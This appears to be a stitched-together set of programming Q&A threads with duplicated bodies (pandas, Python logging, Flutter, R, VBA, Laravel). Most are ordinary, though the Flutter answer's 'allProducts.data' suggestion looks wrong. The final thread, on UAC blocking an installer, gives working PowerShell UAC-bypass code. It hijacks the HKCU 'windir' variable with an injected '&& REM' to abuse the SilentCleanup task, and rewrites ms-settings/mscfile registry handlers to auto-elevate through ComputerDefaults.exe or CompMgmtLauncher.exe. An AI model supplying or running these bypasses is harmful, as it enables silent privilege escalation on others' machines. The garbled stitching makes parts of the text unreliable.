I want to be able to filter out a specific column. For example, to return this:

{'Name': 'bar', 'Description': 'foofoo'}

I know that I can print only the columns I want with this print(row['Name'],row['Description']) however this is only returning me values when I also want to return the key.

How can I do this?

Body:
I wrote this entire thing only to realize that @anky_91 had already suggested it. Oh well...

import pandas as pd

data = {
    "name": ["foo", "abc", "baz", "bar"],
    "description": ["foobar", "foofoo", "foobaz", "foofoo"],
    "value": [5, 3, 4, 8],
}

df = pd.DataFrame(data=data)

print(df, end='\n\n')

rec_dicts = df.loc[df["description"] == "foofoo", ["name", "description"]].to_dict(
    "records"
)

print(rec_dicts)

Output:

  name description  value
0  foo      foobar      5
1  abc      foofoo      3
2  baz      foobaz      4
3  bar      foofoo      8

[{'name': 'abc', 'description': 'foofoo'}, {'name': 'bar', 'description': 'foofoo'}]


问:
How to handle the object before logging?
Instead of this:

```<code>def log_error(obj):
  msg = do_someprocess(obj)
  logging.error(msg)
</code>```

I want to add do_someprocess as a hook into logging. When I call logging.error(obj), which executes do_someprocess before logging.

Background: The object is an error object, it contains error id and message, use logging.error(error_obj) to record the error. do_someprocess is for formatting error message of the object.

@mrEvgenX's comment gives me the idea that I don't have to make this as part of logging. so I am going to add def __str__(self) in my error class.

@Sam's answer also works as a different kind of solution, the Handler is StreamHandler.

答:
You're going to need to create your own handler (create new class that inherits from one of python's handlers) and add it to your logger (this can be done once at initialization using AddHandler).

Please see
Python's cookbook for examples.

Body:
Instead of this:

def log_error(obj):
  msg = do_someprocess(obj)
  logging.error(msg)

I want to add do_someprocess as a hook into logging. When I call logging.error(obj), which executes do_someprocess before logging.

Background: The object is an error object, it contains error id and message, use logging.error(error_obj) to record the error. do_someprocess is for formatting error message of the object.

@mrEvgenX's comment gives me the idea that I don't have to make this as part of logging. so I am going to add def __str__(self) in my error class.

@Sam's answer also works as a different kind of solution, the Handler is StreamHandler.


问:
Reading static variable during its initialization | Flutter
I have been trying to load static data into ListViewBuilder I successfully achieved the functionality using the same code given below but now it ain't working.

LIST VIEW BUILDER

```<code>ListView.builder(
                scrollDirection: Axis.horizontal,
                shrinkWrap: true,
                itemCount: allProducts.length==null ? 0 : allProducts.length,
                itemBuilder: (BuildContext ctxt, int index) {
                  return new CustomCardProduct(
                    product:allProducts[index],
                    onPress: (){

                      );
                    },
                  );
                },
            ),
</code>```

STATIC DATA AND CLASS STORED IN USER.DART FILE.

```<code> List<Product> allProducts= [
    Product(title: 'Quran Classes',price: 5000,description: "Hello World",likes: 4,mainImage: 'assets/quranforkidssample.jpg',galleryImages: galleryImages,serviceType: 'Home Based',user: user1,category: categories[0]),
    Product(title: 'Quran Classes',price: 5000,description: "Hello World",likes: 4,mainImage: 'assets/quranforkidssample.jpg',galleryImages: galleryImages,serviceType: 'Home Based',user: user1,category: categories[0]),
    Product(title: 'Quran Classes',price: 5000,description: "Hello World",likes: 4,mainImage: 'assets/quranforkidssample.jpg',galleryImages: galleryImages,serviceType: 'Home Based',user: user1,category: categories[0]),
    Product(title: 'Quran Classes',price: 5000,description: "Hello World",likes: 4,mainImage: 'assets/quranforkidssample.jpg',galleryImages: galleryImages,serviceType: 'Home Based',user: user1,category: categories[0]),
    Product(title: 'Quran Classes',price: 5000,description: "Hello World",likes: 4,mainImage: 'assets/quranforkidssample.jpg',galleryImages: galleryImages,serviceType: 'Home Based',user: user1,category: categories[0]),

  ];
  User user1= User(
    id: 0,
    name: 'User Name',
    imageUrl: 'assets/momina.jpg',
    cnicPicture: '',
    contactNumber: '0335-2366331'  ,
    city: 'Karachi',
    followers: 100,
    following: 200,
    rating: 2.5,
    area: 'Defence',

  );
  List<Category> categories=[
    Category(name: 'Education',icon: FontAwesomeIcons.pen),
    Category(name: 'Education',icon: FontAwesomeIcons.hackerNews),
    Category(name: 'Education',icon: FontAwesomeIcons.pen),
    Category(name: 'Education',icon: FontAwesomeIcons.pen),
    Category(name: 'Education',icon: FontAwesomeIcons.pen),
    Category(name: 'Education',icon: FontAwesomeIcons.pen),
    Category(name: 'Education',icon: FontAwesomeIcons.pen),

  ];
  List<String> galleryImages = [
    'assets/quranforkidssample.jpg',
    'assets/quranforkidssample.jpg',
    'assets/quranforkidssample.jpg',
    'assets/quranforkidssample.jpg',
  ];

class User {
  final int id;
  final String name;
  final String imageUrl;
  final String cnicPicture;
  final String contactNumber;
  final String city;
  final String email;
  final int followers;
  final int following;
  final List<Product> productList;
  final double rating;
  final String area;

  User({this.area,this.id,this.name, this.imageUrl, this.cnicPicture, this.contactNumber, this.city, this.email, this.followers, this.following, this.productList, this.rating});

}

class Product{
  final String title;
  final int price;
  final String description;
  final Category category;
  final int likes;
  final User user;
  final String mainImage;
  final List<String> galleryImages;
  final serviceType;

  Product({this.serviceType,this.title, this.price, this.description, this.category, this.likes, this.user, this.mainImage, this.galleryImages});

}

class Category{
  final String name;

  final IconData icon;

  Category({this.name, this.icon});

}
</code>```

When the application has loaded, it gives an error in the Red box.
saying
Reading static variable "all products" during its initialization.
I don't want to call this data file in the separate folders as I will be passing on data through constructors
my allProduct Object List is null! but why ???

答:
All you need to do is change to allProducts.data[index] instead of allproducts[index], and allProducts.data.length  instead of allProducts.length in your ListView.builder.</p>

```<code>ListView.builder(
            scrollDirection: Axis.horizontal,
            shrinkWrap: true,
            itemCount: allProducts.data.length==null ? 0 : allProducts.data.length,
            itemBuilder: (BuildContext context, int index) {
              return new CustomCardProduct(
                product:allProducts.data[index],
                onPress: (){

                  );
                },
              );
            },
        ),
</code>```

Body:
I have been trying to load static data into ListViewBuilder I successfully achieved the functionality using the same code given below but now it ain't working.

LIST VIEW BUILDER

ListView.builder(
                scrollDirection: Axis.horizontal,
                shrinkWrap: true,
                itemCount: allProducts.length==null ? 0 : allProducts.length,
                itemBuilder: (BuildContext ctxt, int index) {
                  return new CustomCardProduct(
                    product:allProducts[index],
                    onPress: (){

                      );
                    },
                  );
                },
            ),

STATIC DATA AND CLASS STORED IN USER.DART FILE.

 List<Product> allProducts= [
    Product(title: 'Quran Classes',price: 5000,description: "Hello World",likes: 4,mainImage: 'assets/quranforkidssample.jpg',galleryImages: galleryImages,serviceType: 'Home Based',user: user1,category: categories[0]),
    Product(title: 'Quran Classes',price: 5000,description: "Hello World",likes: 4,mainImage: 'assets/quranforkidssample.jpg',galleryImages: galleryImages,serviceType: 'Home Based',user: user1,category: categories[0]),
    Product(title: 'Quran Classes',price: 5000,description: "Hello World",likes: 4,mainImage: 'assets/quranforkidssample.jpg',galleryImages: galleryImages,serviceType: 'Home Based',user: user1,category: categories[0]),
    Product(title: 'Quran Classes',price: 5000,description: "Hello World",likes: 4,mainImage: 'assets/quranforkidssample.jpg',galleryImages: galleryImages,serviceType: 'Home Based',user: user1,category: categories[0]),
    Product(title: 'Quran Classes',price: 5000,description: "Hello World",likes: 4,mainImage: 'assets/quranforkidssample.jpg',galleryImages: galleryImages,serviceType: 'Home Based',user: user1,category: categories[0]),

  ];
  User user1= User(
    id: 0,
    name: 'User Name',
    imageUrl: 'assets/momina.jpg',
    cnicPicture: '',
    contactNumber: '0335-2366331'  ,
    city: 'Karachi',
    followers: 100,
    following: 200,
    rating: 2.5,
    area: 'Defence',

  );
  List<Category> categories=[
    Category(name: 'Education',icon: FontAwesomeIcons.pen),
    Category(name: 'Education',icon: FontAwesomeIcons.hackerNews),
    Category(name: 'Education',icon: FontAwesomeIcons.pen),
    Category(name: 'Education',icon: FontAwesomeIcons.pen),
    Category(name: 'Education',icon: FontAwesomeIcons.pen),
    Category(name: 'Education',icon: FontAwesomeIcons.pen),
    Category(name: 'Education',icon: FontAwesomeIcons.pen),

  ];
  List<String> galleryImages = [
    'assets/quranforkidssample.jpg',
    'assets/quranforkidssample.jpg',
    'assets/quranforkidssample.jpg',
    'assets/quranforkidssample.jpg',
  ];

class User {
  final int id;
  final String name;
  final String imageUrl;
  final String cnicPicture;
  final String contactNumber;
  final String city;
  final String email;
  final int followers;
  final int following;
  final List<Product> productList;
  final double rating;
  final String area;

  User({this.area,this.id,this.name, this.imageUrl, this.cnicPicture, this.contactNumber, this.city, this.email, this.followers, this.following, this.productList, this.rating});

}

class Product{
  final String title;
  final int price;
  final String description;
  final Category category;
  final int likes;
  final User user;
  final String mainImage;
  final List<String> galleryImages;
  final serviceType;

  Product({this.serviceType,this.title, this.price, this.description, this.category, this.likes, this.user, this.mainImage, this.galleryImages});

}

class Category{
  final String name;

  final IconData icon;

  Category({this.name, this.icon});

}

When the application has loaded, it gives an error in the Red box.
saying
Reading static variable "all products" during its initialization.
I don't want to call this data file in the separate folders as I will be passing on data through constructors
my allProduct Object List is null! but why ???

Body:
All you need to do is change to allProducts.data[index] instead of allproducts[index], and allProducts.data.length  instead of allProducts.length in your ListView.builder.

ListView.builder(
            scrollDirection: Axis.horizontal,
            shrinkWrap: true,
            itemCount: allProducts.data.length==null ? 0 : allProducts.data.length,
            itemBuilder: (BuildContext context, int index) {
              return new CustomCardProduct(
                product:allProducts.data[index],
                onPress: (){

                  );
                },
              );
            },
        ),


问:
Using which and ! functions in R
```<code>x <- c("a", "b", "c", "d", "e", "f", "g")
y <- c("a", "c", "d", "z")
</code>```

I am trying to compare y to x and find an index  where in y that does not match with anything in x. in this case z does match and I want R to return the index of z.

This is one of the things I tried and it does not work.

```<code>index <- which(y != x)
</code>```

答:
use the operator %in%

```<code> which(!y%in%x)
</code>```

Title: Using which and ! functions in R

Body:
x <- c("a", "b", "c", "d", "e", "f", "g")
y <- c("a", "c", "d", "z")

I am trying to compare y to x and find an index  where in y that does not match with anything in x. in this case z does match and I want R to return the index of z.

This is one of the things I tried and it does not work.

index <- which(y != x)

Body:
use the operator %in%

 which(!y%in%x)


问:
how i can do data entry to multiple webpages by getting information from excel
```<code>Sub accessExistingIEtabs()

     boolWindowFound = False
     Set objShell = CreateObject("Shell.Application")
     WinCount = objShell.Windows.Count
     winNo = 0
        Set IE = objShell.Windows(winNo)
         boolWindowFound = True
         If boolWindowFound Then
         Set doc = IE.document
         End If
                doc.getElementsByClassName("a-input-text a-form-normal ui-autocomplete-nested-button ui-
                autocomplete-input")(0).Value = "italy"

end sub
</code>```

<p>'this  code work just on tab number 0 I WANT TO USE  EDIT  TO IT  SO I CAN CONTROL MULTIPLE PAGES  LIKE'  'TAB 1 AND  TAB 2 AND  MORE  TO DO DATA  ENTRY TO MULTIPLE PAGES BY GETTING  INFORMATION FROM EXCEL BUT' '
'AT SAME TIME  NOT TAB BY TAB' ?
end sub</p>

答:
You said,

this code work just on tab number 0 I WANT TO USE EDIT TO IT SO I CAN
  CONTROL MULTIPLE PAGES LIKE' 'TAB 1 AND TAB 2 AND MORE TO DO DATA
  ENTRY TO MULTIPLE PAGES BY GETTING INFORMATION FROM EXCEL BUT' ' 'AT
  SAME TIME NOT TAB BY TAB

To execute some code simultaneously, the user needs to create multiple threads.

For your information, multithreading is not supported in VBA. VBA can work on single thread at a time. So it is not possible to fulfill your requirement with VBA code to do the data entry in multiple pages at the same time.

You can do the data entry tab by tab.

If you still need to work with VBA then you can refer links below may give you some workaround ideas.

Multi-threading in VBA

Excel/VBA : Multi-threading example

EXCEL VBA MULTITHREADING

Body:
Sub accessExistingIEtabs()

     boolWindowFound = False
     Set objShell = CreateObject("Shell.Application")
     WinCount = objShell.Windows.Count
     winNo = 0
        Set IE = objShell.Windows(winNo)
         boolWindowFound = True
         If boolWindowFound Then
         Set doc = IE.document
         End If
                doc.getElementsByClassName("a-input-text a-form-normal ui-autocomplete-nested-button ui-
                autocomplete-input")(0).Value = "italy"

end sub

'this  code work just on tab number 0 I WANT TO USE  EDIT  TO IT  SO I CAN CONTROL MULTIPLE PAGES  LIKE'  'TAB 1 AND  TAB 2 AND  MORE  TO DO DATA  ENTRY TO MULTIPLE PAGES BY GETTING  INFORMATION FROM EXCEL BUT' '
'AT SAME TIME  NOT TAB BY TAB' ?
end sub


问:
How to combine Laravel Collections
I want to combine the laravel collection into one if statement.The count and first should be in same if statement.

Can anyone help on this?

```<code>     if (EmailSave::where('email_id',$email_id)->where('user_id',$user_id)->count()< 1){
                        $ableToSendMail = true;
                    }

          if (EmailSave::where('email_id',$email_id)->where('user_id',$user_id)->whereDate('created_at', '>', Carbon::now()->addDays(30))->first()) { //mail sent again after 30 days
                        $ableToSendMail = true;
                    }
</code>```

答:
You can do this using logical OR( || ) operator

```<code>  if ((EmailSave::where('email_id',$email_id)->where('user_id',$user_id)->count()< 1) || (EmailSave::where('email_id',$email_id)->where('user_id',$user_id)->whereDate('created_at', '>', Carbon::now()->addDays(30))->first())){
                        $ableToSendMail = true;
   }
</code>```

PHP -> Logical Operators

Title: How to combine Laravel Collections

Body:
I want to combine the laravel collection into one if statement.The count and first should be in same if statement.

Can anyone help on this?

     if (EmailSave::where('email_id',$email_id)->where('user_id',$user_id)->count()< 1){
                        $ableToSendMail = true;
                    }

          if (EmailSave::where('email_id',$email_id)->where('user_id',$user_id)->whereDate('created_at', '>', Carbon::now()->addDays(30))->first()) { //mail sent again after 30 days
                        $ableToSendMail = true;
                    }

Body:
You can do this using logical OR( || ) operator

  if ((EmailSave::where('email_id',$email_id)->where('user_id',$user_id)->count()< 1) || (EmailSave::where('email_id',$email_id)->where('user_id',$user_id)->whereDate('created_at', '>', Carbon::now()->addDays(30))->first())){
                        $ableToSendMail = true;
   }

PHP -> Logical Operators


问:
UAC Getting in the Way of EXE Install Powershell
I'm attempting to install an EXE using Powershell with the following code Start-Process -FilePath "C:\Windows\Temp\Installer.exe" -Verb runas I'm getting the User Account Control pop up that says "Do you want to allow the following program to make changes to this computer?" I would rather not disable UAC. Are there any methods to programatically say "Yes" to the UAC prompt or to get around it?

答:
Disabling UAC edits a key in HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System, and thus requires write access to HKLM. In other words, disabling UAC requires admin rights, which defeats the point of your question.

Windows has a built-in AutoElevate backdoor. You can use this to launch other executables.

An obvious approach is Task Scheduler. However, it's not the only approach.

Likewise, any windows executable that can auto-elevate can be used to spawn a high integrity process without UAC.

This can be done programmatically below:

AlwaysNotify: (8.1 & after)

```<code>$regPath = "HKCU:\Environment"
$installer = "C:\Windows\Temp\Installer.exe" # change it yourself

Set-ItemProperty -Path $regPath -Name "windir" -Value "$installer && REM " -Force
schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I
Start-Sleep -s 5 # Depending on the machine, some extra time may be required
Remove-ItemProperty -Path $regPath -Name "windir" -Force
</code>```

Default:

```<code>function Bypass-UAC{
    [CmdletBinding()]
    param([string]$key, [string]$exploit)
    $regPath = "HKCU:\Software\Classes\$key\shell\open\command"
    $installer = "C:\Windows\Temp\Installer.exe" # change it yourself

    New-Item $regPath -Force
    New-ItemProperty $regPath -Name "DelegateExecute" -Value $null -Force
    Set-ItemProperty $regPath -Name "(default)" -Value $installer -Force
    Start-Process $exploit
    Start-Sleep -s 5 # Depending on the machine, some extra time may be required
    Remove-Item $regPath -Force -Recurse
}

$ver = [System.Environment]::OSVersion.Version.Major #Get Windows Version

if ($ver -eq 10) {
    Bypass-UAC ms-settings ComputerDefaults.exe
} else {
    Bypass-UAC mscfile CompMgmtLauncher.exe
}
</code>```

NeverNotify / Disabled:

```<code>Start-Process "C:\Windows\Temp\Installer.exe" -Verb runas
</code>```

Body:
Disabling UAC edits a key in HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System, and thus requires write access to HKLM. In other words, disabling UAC requires admin rights, which defeats the point of your question.

Windows has a built-in AutoElevate backdoor. You can use this to launch other executables.

An obvious approach is Task Scheduler. However, it's not the only approach.

Likewise, any windows executable that can auto-elevate can be used to spawn a high integrity process without UAC.

This can be done programmatically below:

AlwaysNotify: (8.1 & after)

$regPath = "HKCU:\Environment"
$installer = "C:\Windows\Temp\Installer.exe" # change it yourself

Set-ItemProperty -Path $regPath -Name "windir" -Value "$installer && REM " -Force
schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I
Start-Sleep -s 5 # Depending on the machine, some extra time may be required
Remove-ItemProperty -Path $regPath -Name "windir" -Force

Default:

function Bypass-UAC{
    [CmdletBinding()]
    param([string]$key, [string]$exploit)
    $regPath = "HKCU:\Software\Classes\$key\shell\open\command"
    $installer = "C:\Windows\Temp\Installer.exe" # change it yourself

    New-Item $regPath -Force
    New-ItemProperty $regPath -Name "DelegateExecute" -Value $null -Force
    Set-ItemProperty $regPath -Name "(default)" -Value $installer -Force
    Start-Process $exploit
    Start-Sleep -s 5 # Depending on the machine, some extra time may be required
    Remove-Item $regPath -Force -Recurse
}

$ver = [System.Environment]::OSVersion.Version.Major #Get Windows Version

if ($ver -eq 10) {
    Bypass-UAC ms-settings ComputerDefaults.exe
} else {
    Bypass-UAC mscfile CompMgmtLauncher.exe
}

NeverNotify / Disabled:

Start-Process "C:\Windows\Temp\Installer.exe" -Verb runas